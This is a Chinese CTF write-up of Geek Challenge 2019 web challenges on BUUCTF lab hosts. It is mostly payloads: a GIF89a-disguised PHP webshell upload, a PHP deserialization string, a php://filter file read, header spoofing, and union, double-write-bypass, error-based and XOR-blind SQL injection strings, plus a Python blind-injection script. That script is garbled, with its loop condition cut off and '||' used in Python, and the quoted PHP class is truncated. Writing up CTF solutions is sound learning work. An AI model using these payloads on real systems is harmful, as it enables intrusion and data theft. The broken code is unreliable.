极客大挑战2019(复习一下漏洞)

目录

[极客大挑战 2019]Upload

一道文件上传题目的题,这道解法以前遇到过

[极客大挑战 2019]PHP

[极客大挑战 2019]Havefun

这道题做完是真的简单

[极客大挑战 2019]Secret File

[极客大挑战 2019]Http

[极客大挑战 2019]Knife

[极客大挑战 2019]BuyFlag

SQL注入题目

[极客大挑战 2019]EasySQL

​编辑

[极客大挑战 2019]LoveSQL

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1" #

[极客大挑战 2019]BabySQL

[极客大挑战 2019]HardSQL

[极客大挑战 2019]FinalSQL


 

[极客大挑战 2019]Upload


一道文件上传题目的题,这道解法以前遇到过

首先试了一下.php,肯定是被过滤喽

然后上传一下图片码发现,它还检测文件的内容

极客大挑战2019(复习一下漏洞)_第1张图片

发现过滤了一句话木马的开头,但是前面我们也遇见了用标签可以代替这种

 

 然后可是还是不对

极客大挑战2019(复习一下漏洞)_第2张图片

返回说欺骗了它,然后就想到是不是校验文件头了

加一个 GIF89a

极客大挑战2019(复习一下漏洞)_第3张图片

 果然上传成功,然后链建议就可以了,需要把2.jpg改成2.phtml才可,被解析

http://4c926abd-6b99-412d-88df-d1d3d42a7d3b.node4.buuoj.cn:81/upload/2.phtml

shell链接

极客大挑战2019(复习一下漏洞)_第4张图片

 获得flag

 测试了一下2.phtml果然有回显看一下环境

极客大挑战2019(复习一下漏洞)_第5张图片

说明真的上传成功,shell是一句话木马的密码 

[极客大挑战 2019]PHP

一道反序列化的题目

打开界面啥都没有,就一个猫,然后看了一下源码,也没有

这种一般都是备份文件了,其实不太喜欢备份文件,扫目录太慢了,打开dirsearch进行扫目录了,其实是先尝试了一下index.php.bak发现没有,扫出来了www.zip

常见的网站源码备份文件后缀:

tar.gz,zip,rar,tar

常见的网站源码备份文件名:

web,website,backup,back,www,wwwroot,temp

 解压了三个文件,class.php,flag.php,index,php

但是打开flag一看就是假的,

username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } } ?>

构造反序列化链,这个有一个坑就是,属性前面定义是private,需要加%00类名%00,这道题而言%00Name%00 这是6个字节%00是一个

构造简单就省略了,直接

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

 但是这道题让我费时间的是,没找到那个输出变量是啥,最后看了wp发现index.php在最下面是

 极客大挑战2019(复习一下漏洞)_第6张图片

 ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到flag

极客大挑战2019(复习一下漏洞)_第7张图片

[极客大挑战 2019]Havefun

这道题做完是真的简单

首先打开界面是

极客大挑战2019(复习一下漏洞)_第8张图片

习惯了先看看源码,没想到,真的有

极客大挑战2019(复习一下漏洞)_第9张图片

 输出?cat=dog就输出flag,试了一下竟然还正确

极客大挑战2019(复习一下漏洞)_第10张图片

 真的开森

[极客大挑战 2019]Secret File

极客大挑战2019(复习一下漏洞)_第11张图片

打开界面一个字秒呀, 老规矩先看一下源码

极客大挑战2019(复习一下漏洞)_第12张图片

看见一个地址访问一下吗, 

极客大挑战2019(复习一下漏洞)_第13张图片

让我想到了一道 速度太快捕捉不到的题目,发现点击secret后,瞬间跳转到end.php

源码应该会有超链接

极客大挑战2019(复习一下漏洞)_第14张图片

看到了 action.php,然后抓包一下记住,action.php写在get那里 

极客大挑战2019(复习一下漏洞)_第15张图片

 访问secr3t.php看见了源码


    secret
    

其实意思就是,过滤了 ../ tp input data

然后用伪协议,filter就可以获得flag

?file=php://filter/read=convert.base64-encode/resource=flag.php

记住url要有secr3t.php 因为这是源码界面

极客大挑战2019(复习一下漏洞)_第16张图片

 出现了base64编码获得flag

[极客大挑战 2019]Http

打开界面,

极客大挑战2019(复习一下漏洞)_第17张图片

查看代码,看见超链接了一个secret.php访问一下

极客大挑战2019(复习一下漏洞)_第18张图片

 抓包改一下位置,你没来自这个网站,所以加个Referer

极客大挑战2019(复习一下漏洞)_第19张图片

然后又提要求了,你没使用这个 东西Syclover浏览

User Agent 中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。 

极客大挑战2019(复习一下漏洞)_第20张图片

你只能用本地地址访问, 试一下X-Forwarded-For :127.0.0.1

极客大挑战2019(复习一下漏洞)_第21张图片

flag出来了,困在了 

User Agent 不知道可以改变浏览器访问,

[极客大挑战 2019]Knife

极客大挑战2019(复习一下漏洞)_第22张图片

 感觉是一道命令执行的题目,可是我试了半天,传参都不可以

最后终于想明白了,这不是一句话木马吗,测试了一下Syc=phpinfo();

极客大挑战2019(复习一下漏洞)_第23张图片

然后建议直接就链接上了,结束 ,一道签到题

极客大挑战2019(复习一下漏洞)_第24张图片

[极客大挑战 2019]BuyFlag

进入页面,直接查看源码,看见了一个端倪

极客大挑战2019(复习一下漏洞)_第25张图片

访问,pay.php 

极客大挑战2019(复习一下漏洞)_第26张图片

它提示仅仅是cuitstudent学生可以购买flag

然后继续查看源码,发现了

极客大挑战2019(复习一下漏洞)_第27张图片

弱比较绕过,传入404%00,系统就会自动识别不是数字

post传参,可是试了好几下都不对,想起了必须是cuit的学生,burp抓包

极客大挑战2019(复习一下漏洞)_第28张图片

在Request请求中,Cookie: user=0,这里是身份判断的位置,在布尔值中0为false,1为true,我们将其改为Cookie: user=1以通过身份验证。

极客大挑战2019(复习一下漏洞)_第29张图片

 身份成功,

极客大挑战2019(复习一下漏洞)_第30张图片 极客大挑战2019(复习一下漏洞)_第31张图片

 因为

需要购买,所以传入money,但是提示我太长度太长,

显示Nember lenth is too long应该是存在长度限制,这里有两种绕过方法
1、科学计数法绕过money=1e9
2、数组绕过money[]=1   

极客大挑战2019(复习一下漏洞)_第32张图片

SQL注入题目

[极客大挑战 2019]EasySQL

极客大挑战2019(复习一下漏洞)_第33张图片

1、尝试用账户admin、密码123456登陆,一些常见的账号密码,页面提示错误用户名、密码;
2、再尝试闭合方式,账号输入1,1’,1"判断,当输入为1’时报错,所以判断结果语句应该为单引号闭合(提示:记得密码填上东西)

判断出了,单引号闭合方式,接着试一下万能密码

1' or true# (#是为了省略后面的引号)

极客大挑战2019(复习一下漏洞)_第34张图片

密码随便写,#都会忽略掉

极客大挑战2019(复习一下漏洞)_第35张图片

得到flag

[极客大挑战 2019]LoveSQL

首先判断一下闭合的方式,发现1‘会报错

然后尝试用一下万能密码  

极客大挑战2019(复习一下漏洞)_第36张图片

得到这个界面,然后试了一下发现没用                

又重新开始找思路,试一下联合注入

1' union select 1,2,3# 判断一下回显位置

极客大挑战2019(复习一下漏洞)_第37张图片

 查询数据库 1' union select 1,database(),3 #查询到数据库是 geek

继续 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="geek" #

极客大挑战2019(复习一下漏洞)_第38张图片

两个表感觉在 后面那个表中

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1" #

极客大挑战2019(复习一下漏洞)_第39张图片

 感觉在password中

1' union select 1,group_concat(password),group_concat(username) from l0ve1ysq1#

极客大挑战2019(复习一下漏洞)_第40张图片

顺便复习了一下联合注入

[极客大挑战 2019]BabySQL

老办法先判断闭合方式,发现还是单引号

试了一下万能密码发现,回显和我输入的不一样

输入1' or true#

 但回显的时候没有or,应该是把or 过滤成空格了,发现大小写过滤也不行,那就试一下双写注入,oorr成功

极客大挑战2019(复习一下漏洞)_第41张图片

和上一道题差不多,感觉这一题会过滤一些常用的函数

1' union select 1,2,3#

极客大挑战2019(复习一下漏洞)_第42张图片 发现把union select都过滤了,继续双写绕过

1' uniunionon selselectect 1,2,3#

极客大挑战2019(复习一下漏洞)_第43张图片

1' uniunionon selselectect 1,database(),3#还是geek数据库

1' uniunionon selselectect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# 

极客大挑战2019(复习一下漏洞)_第44张图片information又被过滤了  from也没有

因为or被过滤了,所以information也不能幸免

1' uniunionon selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables where table_schema=database()#

极客大挑战2019(复习一下漏洞)_第45张图片

发现where也被过滤了

1' uniunionon selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema=database()# 

极客大挑战2019(复习一下漏洞)_第46张图片

终于成功了,感觉是第一个表名

 1' uniunionon selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whewherere table_name="b4bsql"# 

极客大挑战2019(复习一下漏洞)_第47张图片

  1' uniunionon selselectect 1,group_concat(password),3 frfromom b4bsql# 

试了半天发现不对,看回显不存passwd哦,原来是password的or也被过滤掉了绕过就可以了

1' uniunionon selecselectt 1,group_concat(passwoorrd),3 frfromom b4bsql#

如果极客大挑战2019(复习一下漏洞)_第48张图片

如果界面重叠,缩小比例就可以了 

[极客大挑战 2019]HardSQL

打开网站尝试以前的方法,发现回显都是一句话

极客大挑战2019(复习一下漏洞)_第49张图片

union select 等,联合注入都被过滤掉了

然后想到用一下报错注入

这是用的异或手段^.单引号是闭合位置,会出现报错,然后拼接后面  extractvalue是里面有特殊符号会进行报错注入 0x7e就是一个特殊符号

1'^extractvalue(1,concat(0x7e,(select(database()))))#

极客大挑战2019(复习一下漏洞)_第50张图片

然后查询表名 

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))#

~H4rDsq1

字段名

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))#

password

1'^extractvalue(1,concat(0x7e,(select(right(group_concat(password),30))from(H4rDsq1))))#

极客大挑战2019(复习一下漏洞)_第51张图片

 发现不完整然后用left和right拼接就可以获得flag

flag{d015f65f-ddd0-4886-87a1-9        left

 '~f-ddd0-4886-87a1-94d5a3c6bcb2}    right

flag{d015f65f-ddd0-4886-87a1-94d5a3c6bcb2}

[极客大挑战 2019]FinalSQL

极客大挑战2019(复习一下漏洞)_第52张图片界面打开时这样,然后一个个点开发现只有id发生了改变 

 这道题,也过滤了很多,看见题目上显示sql盲注,所以想到

说明注入点应该是在id这个位置,我们输入:id=6'

也可以使用异或手段注入,1^0=1,1^1=0,0^0=0

极客大挑战2019(复习一下漏洞)_第53张图片

 极客大挑战2019(复习一下漏洞)_第54张图片

 发现跳转到报错界面,

import requests
flag=''
for i in range(1,250):
	left=32
	right=128
	mid=(left+right)//2
	while(left%d)'%(i,mid))
		if 'ERROR' in res.text:
			left=mid+1
		else:
			right=mid
		mid=(left+right)//2
	if(mid==32 || mid==127):
		break
	flag=flag+chr(mid)
	print(flag)

 表名

res=requests.get('http://e4bf984f-85ef-4713-9180-1aaa9c19c08c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d)'%(i,mid))

F1naI1y,Flaaaaag

字段名

res = requests.get('http://e4bf984f-85ef-4713-9180-1aaa9c19c08c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)="Flaaaaag"),%d,1))>%d)'%(i,mid))

id,fl4gawsl

res = requests.get('http://e4bf984f-85ef-4713-9180-1aaa9c19c08c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%d,1))>%d)'%(i,mid))

这道题难就难在,不按套路出牌,Flaaaag里面的f14gawsl字段,里面的值时NO,真正的flag在F1nal1y表里面的password字段

极客大挑战2019(复习一下漏洞)_第55张图片

极客大挑战2019(复习一下漏洞)_第56张图片 

就先到这了,接下来想重点了解一下rce无回显的方式,加油!

day day up!

你可能感兴趣的:(java,servlet,开发语言)